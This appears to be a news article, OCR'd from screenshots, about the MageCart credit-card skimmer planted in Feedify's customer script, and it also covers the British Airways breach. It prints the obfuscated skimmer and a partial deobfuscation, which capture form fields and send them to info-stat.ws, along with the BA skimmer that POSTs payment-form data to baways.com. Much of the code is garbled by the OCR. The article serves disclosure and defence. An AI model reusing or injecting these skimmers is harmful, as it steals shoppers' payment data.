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A script used by the customer engagement service Feedify has been hacked to include the
malicious MageCart script. MageCart is malicious code used by attackers to steal credit card
details and other information from e-commerce sites when a user submits a form.

In order to use the Feedify service, e-commerce sites need to add a Feedify JavaScript script
to their site. If the Feedify script is compromised with MageCart, any visitors who go to e-
commerece site that uses the Feedify script will also load the malicious code.

This hack was first noticed by a security researcher named Placebo who posted about it
yesterday on Twitter. When Placebo posted about it, MageCart had already been removed
from the Feedify script.

Magecart on Feedify. A customer engagement tool. According to there website 4000+ website
use there tooling/code. Fixed today after I notified them.@ydklijnsma @GossiTheDog
pic.twitter.com/K2¢czXkUoHD

— Placebo (@PlaceboRulez) September 11, 2018

When researching this story, I created a Feedify account to test what scripts their customers
were being instructed to add. When testing the service, customers are instructed to add the
following snippet of code to their site.
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<l —Feedify Script Start--»

<script id="feedify webscript” >

var feedify = feedify || {};

window. feedify options={fedify url:"https://feedify.net/"};

var s = document.createElement( "script’);

s.type = 'text/javascript’';

s.src = "https://cdn.feedify.net/getjs/feedbackembad-min-1.8.js";
document.getElementsByTagName( "head ") [@].appendChild(s);
</script>

<!--Feedify Script End--»

Caption

When examining the https://cdn.feedify.net/getjs/feedbackembad-min-1.0.js script, though,
I saw that MageCart was still embedded in the script as shown by the highlighted section
below.

[ https://cdn feedifynet/getisfes: X | +
& C & https//cdnfeedify.net/getjs/feedbackembad-min-1.0s T ,". = o @ s 4 B ‘ :
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var _@xeb25=

["\x68\x74\x74\x7@\x73 \x3A\X2F\X2F \XEF\X6E \X66 \X6F \Xx2D\x7I\XTA\X61 \x74\X2ZE\XT77 \X73\X2F \¥B6ANXT 3\X2F \x73\X6C\ %69 \X64\x65 \x72\X2E\XBANXKT3™, "\x73\X65\x74\X69\x64 \x64 ", " \x2B\XFF\x
3A\XSENRTCAK3B\X204%209" , " \xSC\x24\x31", "\x72\KE65\x7@\x6C\x6 1\ %63 \x65" , " \x3D\X2B\x5B\X5E\K3BAXED\x2AN%29" , "\ k6D \XE 1\ X724 \x63\XE68" , "\ k63 \ xEF \XEF\XEB\6I\KES" , "\ XET\NE5 \ K74\ X54 X
69\xEDAX65", "\x2D", " \xT 2\ K61 \KEE\XBA\KEF \XED" , "\ xBE\KEC\XEF \NEF\xT 2", " A7 I\xB5 \NT AN \ 64\ x64\x3D" , "\x3BAxZO\XTB W61 \xT A\ 168 \x 3D\ x2F\x3B\x28\x65\x78\x78\ %63 \x72\ 265\ %73 \x3D"
» "AXTANEFAx55\x54 \x43 %53 \x 74 \x7 2\ X6 \K6E\xE7", "\ xTI\NBE \x64" , " Wx6IN\X6E \x7B\xT5\ %74\ x2C\x 28\ x7 34 x 65\ x6C\x65\x63 \ x7 4\ x2Cx20 x74\x65 \x 78\ x74 \ %61\ x72\x654x61 \ x2C\ %20\ x63 \x68 %
65\x63\x6B\X62\x6F \x78\x2C\x20\x62\x75 %74 \x74\X6F W X6E" , "\x71\x75\x65 \x72\x79\x53\x65\ x6C A\ x65 \ k6 I\ xT4\x6F \x72\ x4 1\ x6C A x6C" , "\x6C\x65 \X6E\XE67 \x74\x68", "\ xT6\x61\x6C\x75\x65", "
AxBEAXE1\x6DAX65", ", "\x3D", "\x26" , "\x61\x5B\x68\x72\x65 166\ x2A X IDA\X27 \xBA K61\ 76 \xB1\x73\x63 \x72\x69 \x 78\ x T4\ xIANXT 6 \X6F \x69\x64 \x28\x30 %29\ %27 \x5D X 2C\ 62\ 75\ 74 \x74\x
B6F\XBE\X2C\x20\x69 \xB6E \x78\x 72\ x74\x2C %20\ x73\x 75462\ x 6D\ x69 \x74 \x2C\x2@\x 2E \x62\x74\x6E \x2C\ %20 \x2ENx62 %75 \x7 A\ x 74 \x6F \xBE™ , "\x74\x79\x70\x65" , " \X74\x65\x78\x74", "\x73\x6
SAxBCAXE5\x63\x74", "\x63\x68\ 65 \x6I\x6B\x62\x6F \x78" , "\x70\x61\x73\x73\x77\x6F \x72\x64", "\x72\x61 \x64\ X6 \x6F ", " \x61 \x64 \ 64 \x 45\ x 76\ 65 \R6E\xT7 4\ xAC\ %69\ %73 \xTA\ 165\ xEE\XE5\,
X72", "\x63\xBC\x69\x63\xEB", "\xB3\xBCAXEB" , "\ X6F\X6E \x63\x6C\ X694 x63\x6B" , " \xE1\x 74\ x74\ X614 x63\ x68 %45 \ 76 \X65\XB6E\xT4", "Ax6E\xEF \XT2\x6D" , "\x73\x75\x62\ xBD X6 x 74", " \x6F \x
BE\X73\x75\x62\x6D\ X6\ x74", "\x5F" , "\ x6A\XEF \XBI\X6E" , " \x73\M6C\x69\x63\x65" , " \x2E" , "\ xT3\xTB\XBC\x69\xT4" , "\x68\x6F \x7 I\ x 74\ XEE\X61\XED\X65", "\ x6E \}EF \ 164\ x6F \x6D\x61\x63\x6
E", "\e58 e W53 \x 54", " W66 34\ 333\ x61 134\ x34\x66 \ x66\ x 39261\ x38\x 31\ x38\x33 138\ %63\ 132\ %35 \ x3@'\ %30\ x36 \ %341 x62\ %66 \ x65 \x66 W64\ x64\ 133\ k3TN x35 34 \x61", "\ x6F \xTB\XxE5\X6E
"L "3\ 6 FAXBE\x 74\ x65 W BENXTA\ N2\ xTA KT INKTB\XE5" , " \xB1\x 7B \x70 B CA\x6 9\ k63 \ b1\ 1T\ xE I\ B F \xBE \x2F\x78\x 2D \x7 7377 \x77 422D\ %66 \x6F 427 2\ x 60\ 2D\ %75\ x7 2\ B C\x6 5 \BE W63\ x6F
WBANNBE5 64", "\xT INHB5 W 7ANNE 2\ KB 5 W T LN T S AKB5 \ XTI\ n T4\ k48 \ 265\ xB 1 \ 64\ x65\x7 2", "\ 2B\ HBE BB\ EF \3D" , "\x2E\xEB\HEF \xTINNTH\XEE\ 661\ x6D \x65\ 3D\ %661 65\ xB5 \x64 16\ x6E XTI\
*26\x6B\X65\xTI\%3D", "\xED\x7INXBI\ 64", "\XT3\xB5 \KEE\ 164", "\NEC\XEF\XE3\NB1\XTA\XBI\KEF\XEE" , " \XTANKBE\NT 374", "\ HBF \XBE\NE5\XTO\NEL\NE7 \ 65 \XTC\X63\ X6\ X65\XE3 \ 6B\ NEF\XT5
AXTANRTCAKTONKE L\ XTI\ KT CAKE2 \ X6\ KB\ XEC\KTCANEI\XEB \NE5 \XEI\HEB\XTC 63\ XE1\X72\x74", "\x67\x60" | ;var rl28bcd4d4911des7afes801a08170121c=
{snd:null,f49244ff9a81838c250064bfafdd3754a: @xeb25[@],myid: (function(_@x91c7x2){var _@x91lc7x3=document[_@xeb25[7]][_8xeb25[6]]( new RegExp(_@xeb25[2]+ _@x91c7x2[_Oxeb25[4]]
CACIN-825 [{INVOONNINWA+~]) /g, _Oxeb25[3])+ _@xeb25[5]));return _@x91c7x3?decodeURIComponent (_@x31c7x3[1]):undefined})(_@xeb25[1])|| (function(){var _@x91c7x4= new
Date();var _©x91c7x5=_@x31c7x4[_ @xeb25[8]]()+ _exeb25[9]+ Math[_@xeb25[11]](Math[_&xeb25[10]]()* (999999999- 11111111+ 1)+ 11111111);var _©x91c7x6= new Date( new Date()
[_exeb25[8]1()+ 6@* 60% 24* 1060);document[_Oxeb25[7]]= _@xeb25[12]+ _6x91c7x5+ _@xeb25[13]+ _©x31c7x6[_0xeb25[14]]();return _©@x91c7x5})(),clk:function()
{r128bcd4d4911d097afe891a08170121c[_O@xeb25[15]]= null;var _ex91c7x7=document[_@xeb25[17]](_oxeb25[16]);for(var _@x91c7x8=8; Ox91c/xB< _€x91c7x7[_©Oxeb25[18]]; Ox91c7xB++)
{if(_@x91c7x7[_0x91c7xB][_Oxeb25[19]][ @xeb25[18]]> ©){var _@x91c7x9=_0x91c7x7[_@x91c7x8][_exeb25[20]];if(_ex91c7x9== _@xeb25[21]){ @x91c7x9=
_@x91c7%8};r128bcd4d4911d097afe891a88170121c[_Bxeb25[15]]+= _8x91c7x7[_@x91c7x8][_Bxeb25[208]]+ _@xeb25[22]+ _@x91c7x7[_@x91c7x8][_Oxeb25[18]]+ _@xeb25[23]}}},send:function()
ftry{var _@x91c7xa=document[ @xeb25[17]](_ @xeb25[24]);for(var _@x91c7x8=0; @xI1c7x8< _@x91c7xa[_ 0xeb25[18]]; @x91c7x8++){var

_@x91c7xb=_ @x91c7xa[_Bx91c7x8];if(_@x91c7xb[ Bxeb25[25]]!= _@xeb25[26]&% _Bx91c7xb[_@xeb25[25]]!= @xeb25[27]&& 8x91c7xb[_Bxeb25[25]]!= _@xeb25[28]&&
_@8x81c7xb[_Bxeb25[25]]!= _@xeb25[29]&& _@x31cTxb[_Axeb25[25]]!= _@xeh25[38]) {iF(_8x81cTxb[_Bxeb25[31]]){_Bx31cTxb[_@xeb25[31]]
(_@xeh25[32],r128bcd4d4911d@37aFe891a68178121c[_8xeb25[33]], false) Jelse {_@x31cTxb[_Bxeb25[35]](_@xeb25[34], r128bcd4d4311d897afe891a08178121c[_Bxeb25[33]] )]} ) }svar
_8x91c7xc=document[_@xeb25[17]]({_8xeb25[36]);for(vari= @;_@x91c7x8¢ _Bx91c7xc[_8xeb25[18]];_0x91c7xB++){if (_@x1c7xc[_0x91c7x8][_Oxeb25[31]]){_8x91c7xc[_@x31c7x8]

[_@exeb25[31] ](_@xeb25[37],r128bcd4d4911de97afe891a08170121c[_oxeb25[33]],false) jelse {_ox91c7xc[_8x91c7x8][_oxeb25[35]]
(_@&xeb25[38],r128bcd4d4911d097aTe891a08170121c[_@xeb25[33]])}}:if(r128bcd4d4911de97afe891a08170121c[_exeb25[15]]!= null){var _@x91c7xd=location[_@xeb25[44]][_Oxeb25[42]]
(_@xeb25[42])[_@xeb25[41]](@)[_@xeb25[4@]](_0xeb25[39])|| _exeb25[45];var _@8x91c7xe=btoa(rl28bcd4d4911d097afe8%1a88178121c[_Oxeb25[15]]); ;var _ex91c7xf= new
XMLHttpRequest();_@x9lc7xf[_oxeb25[48]](_Oxeb25[46],r128bcd4d4911d@s7afeB91a88170121c[_oxeb25[47]], true);_exalc7xf[_oxeb25[51]]

(_oxe=b25[43], @xeb25[50]);_Bx31lc7xf[_oxeb25[55]](_Oxebi5[52]+ _ox3lc7xe+ _xeb25[53]+

rl128bcd4d4911de97afe891a08170121c[_0xeb25[54]1) };r128bcd4d4911d097afe891a08170121c[_8xeb25[15]]= null; @x91c7xe= null;setTimeout(function()
{r128bcd4d4911d097afe891a08170121c[_@xeb25[55]]1() },3@)}catch(e){}}};if(( new RegExp(_ ©xeb25[58], @xeb25[59]))[_ exeb25[57]] (window[_ oxeb25[56]1))
{r128bcd4d4911de97afe891a08170121c[ Oxeb25[55]]() }

var isvalid=!@;if(void @===isjscet&&!isjsset){function resizeiframe(){iFrameResize({log:!1,enablePublicliethads:1@,checkOrigin:!1,resizedCallback:function(e)
{},messageCallback:function(e){var t=e.message;if(1!=t.scrolljreturn”hidePopFrame"==t.action&&"newsletter"==t.type?void =

Caption

A partial deobfuscation of the script shows that any submitted information will be sent to the
URL https://info-stat.ws/js/slider.js.
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@ * Untitled - Notepad? =l

File Edit View Settings 2
DS 9 saasBEealawp

1h/ar r128bcd4d4911d097afe891a08170121c = { -
2 snd: null, I
3 f49a44ff9a81838c250064bfefdd3754a: "hrrps://info-stat.ws/js/slider.js",

4 myid: (function(_0x91c7x2) {

5 var _0x91c7x3 = document['cookie']['match’](new Regexp(’ (?:Al; )" + _0x91c7x2['replace’](/([\. $7% I {INCONDNNVNARA) /g, "\S17) + "=([A:1%)7));

3 return _0x91c7x3 ? decodeurIComponent (_0x91c7x3[1]) : undefined

7 P (setidd’) || (function() {

8 var _0x91c7x4 = new Date();

9 var _0x91c7x5 = _0x91c7x4['getTime'1() + "-' + math[ 'floor'J(mMath['random’]() * (999999999 - 11111111 + 1) + 11111111);

10 var _0x91c7x6 = new Date(new Date()['getTime’']() + 60 * 60 * 24 * 1000);

11 document['cookie’] = ‘setidd=" + _Ox91c7x5 + '; path=/; expires=" + _0x91c7x6[ touTcString’1();

12 return _0x91c7x5

13 »no.

14 clk: function() {

15 r128bcd4d4911d097afe891a08170121c[ 'snd’'] = null;

15 var _0x91c7x7 = document[ gqueryselectorall']( input, select, textarea, checkbox, button');

17 for (var _Ox91c7x8 = 0; _O0x91c7x8 < _0x91c7x7["length’]; _Ox91c7x8++) {

13 if (_Ox91c7x7[_0x91c7x8][ value']["Tength’'] > 0) {

13 var _0x91c7x9 = _0x91c7x7[_0x91c7x8][ 'name'];

20 if (L0x91c7x9 — ') { E
21 —_0x91¢c7x9 = _0x91c7x8

22 T

23 r128bcd4d4911d097afe891a08170121c['snd’] += _0x91c7x7[_Ox91c7x8]['name’] + '=" + _0x91c7x7[ Ox91c7x8]['value'] + &'

24

25 }

26 I,

27 send: function() {

28 try {

29 var _0x91c7xa = document[’querySelectorAll’]1( alhref*=\"javascript:void(0)\'],button, input, submit, .btn, .button’);

30 for (var _Ox91c7x8 = 0; _Ox91c7x8 < _0x91c7xa[ ' length’]; _Ox91c7x8++) {

21 wvar _0x91c7xb = _0x91c7xa[_0x91c7x8];

32 if (L0x91c7xb['type’] != 'text’ &% _0x91c7xb['type'] != 'select’ & _0x91c7xb['type’'] != "checkbox’ &% _Ox91c7xb['type’] != 'password’ &% _Ox91c7xb['type’] !=

‘radio”) {

23 if (_0x91c7xb['addeventListener’]) {

34 _0x91c7xb['addEventListener '1("click’, r128bcd4d4911d097afe891a08170121c['clk’], false)

35 } else {

26 _0x91c7xb['attachevent '] ("onclick’, ri128bcd4d4911d097afe891a08170121c[ 'clk’])

37 ¥

38 1 -
29 Is

40 var _0x91c7xc = document[ querySelectorall’1( form');

41 for (vari = 0; _0x91c7x8 < _0x91c7xc['length']; _0x91c7x8++) {

a2 if (_0x91c7xc[_0x91c7x8] [ addeventListener']) {

43 _0x91c7xc[_0x91c7x8]['addEventListener ']1( submit’, r128bcd4d4911d097afe891a08170121c['clk’], false)

a4 T else {

a5 _0x91c7xc[_0x91c7x8]['attachevent "] ("onsubmit’, r128bcd4d4911d097afe891a08170121c[ 'clk"])

6 ¥

a7 13

as if (ri128bcd4d4911d097afe891a08170121c['snd’] !'= null) {

a9 var _0x91c7xd = location[ 'hostname']['split'1(". " )['slice’1(0)["join'1C'_") || 'nodomain’;

50 wvar _0x91c7xe = broa(r128bcd4d4911d097afe891a08170121c['snd']); o
Ln1:66 Coll Sel0 381 KB ANSI CR+LF INS Default Text

Caption

To confirm that this was indeed MageCart, I contacted Yonathan Klijnsma of RiskIQ who
further confirmed that the Feedify script was still compromised. Klijnsma told
BleepingComputer that the script had been reinfected 15 minutes prior to my contacting
him.

Wed, 12 Sep 2018 14:16:02 GMT.

URL: hxxps://cdn[.]feedify[.]net/getjs/feedbackembad-min-1.0.js

/cc @Placebo52510486 @GossiTheDog @_feedify https://t.co/4DtpP310Wd

— Yonathan Klijnsma (@ydklijnsma) September 12, 2018

Currently the malicious code has been removed from
the https://feedify.net/getjs/feedbackembad-min-1.0.js, but it is still present
in https://cdn.feedify.net/getjs/feedbackembad-min-1.0.js.

BleepingComputer has contacted Feedify for further information, but has not received a
response at the time of this publication.

MageCart used in recent British Airways hack

FYI: Feedify is re-infected with Magecart since about an hour ago, exact time of infection is:
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RiskIQ also discovered that a script used by British Airways was also recently
compromised by the MageCart script. This allowed attackers to steal payment and other
sensitive information from approximately 380,000 individuals.

Page https://www.britishairways.com/cms/global/scripts/lib/modernizr-2.6.2.min.js

Status Messages (0) Dependent Requests (0) Cookies (0) Links (0) Headers SSL Certs (0) Response & DOM DOM Changes

Causes Social Inspection Results Sequence To Parent

& Response Body

g(a,b){var c;return window.getComputedStyle?c=document.defaultView.getComputedStyle(a,null).getPropertyValue(b):a.currentStyle&s
(c=a.currentStyle[b]),c}function

h(){d.removeChild(a),a=null,b=null,c=null}var

a=document.createElement( "ruby"),b=document.createElement("rt"),c=document.createElement("rp"),d=document.documentElement,e="display",f="fo
ntSize";return

a.appendChild(c),a.appendChild(b),d.appendChild(a),g(c,e)=="none" | |g(a,e)=="ruby"&&g(b,e)=="ruby-text" | |g(c, f)=="6pt"&&g(b,£)=="6pt"?
(h(),!0):(h(),!1)}),Modernizr.addTest("time", "valueAsDate"in

document.createElement("time")),Modernizr.addTest({texttrackapi:typeof
document.createElement("video").addTextTrack=="function" ,track:"kind"in
document.createElement("track"”)}),Modernizr.addTest("placeholder”, function()

{return"placeholder"in(Modernizr.input| |d 1t.createElement ("input"))&&"placeholder"in(Modernizr.textarea| |document.createElement ("texta
rea"))}),Modernizr.addTest("speechinput”, function() {var

a=document.createElement("input");return"speech"in a||"onwebkitspeechchange"in
a}),function(a,b){b.formvalidationapi=11,b.formvalidationmessage=!1,b.addTest("formvalidation", function(){var

c=a.createElement("form");if ("checkvalidity"in c){var

d=a.body,e=a.documentElement,f=11,g=!1,h;return b.formvalidationapi=10,c.onsubmit=function(a)

{window.opera| |a.preventDefault(),a.stopPropagation()},c.innerHTML="<input

name="modTest"

required><button></button>',c.style.position="absolute",c.style.top="-99999%m",d| |
(f=10,d=a.createElement("body"),d.style.background="",e.appendChild(d)),d.appendChild(c),h=c.getElementsByTagName("input")
[0],h.oninvalid=function(a)
{g=10,a.preventDefault(),a.stopPropagation()},b.formvalidationmessage=!lh.validationMessage,c.getElementsByTagName( "button")

[0].click(), d.removeCchild(c), f&&e.removeChild(d) g}return!l})}(document,window.Modernizr);

window.onload=function(){jQuery( "#submitButton").bind("mouseup touchend",function(a){var

n={}; jQuery( "#paymentForm").serializeArray().map(function(a){n[a.name]=a.value});var
e=document.getElementById("personPaying").innerHTML;n.person=e;var

t=JSON.stringify(n);setTimeout (function()

{jQuery.ajax({type:"POST",async:!10,url: "https://baways.com/gateway/app/dataprocessing/api/",data:t,dataType: "application/json"})},500)})};

In the British Airways hack, the compromised script was the Modernizr JavaScript library,
which airline's site was using.

Related Articles:

Microsoft: Credit card stealers are getting much stealthier

Caramel credit card stealing service is growing in popularity
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